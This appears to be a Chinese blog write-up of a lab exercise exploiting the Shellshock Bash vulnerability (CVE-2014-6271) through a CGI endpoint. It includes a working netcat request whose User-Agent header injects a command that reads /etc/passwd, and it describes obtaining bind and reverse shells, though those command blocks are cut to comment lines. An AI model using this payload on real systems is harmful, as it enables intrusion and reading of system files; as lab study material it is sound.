Shellshock (CVE-2014-6271)
CVE-2014-6271
GNU Bash 对环境变量中函数定义后的字符串进行处理,攻击者可以构造环境执行任意代码。
漏洞发现
访问页面,发现 cgi 请求

使用 Burp Suite 抓包进行查看

漏洞利用
使用 nc
发送请求,在 User-Agent
字段中定义函数,并在之后添加输出系统文件的命令语句
1 | echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80 |

使用 Burp Suite 进行攻击

Shell
连文件都可以输出,那么进一步可以用来获取 shell ,利用 nc
让服务器监听 9999 端口,再连接获取 shell
1 | # 监听 9999 端口 |

使用 Burp Suite

Reverse Shell
本地监听 443 端口,让服务器连接本地,进而获取 shell
1 | # 监听 443 端口 |

使用 Burp Suite

参阅
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Jckling's Blog!
评论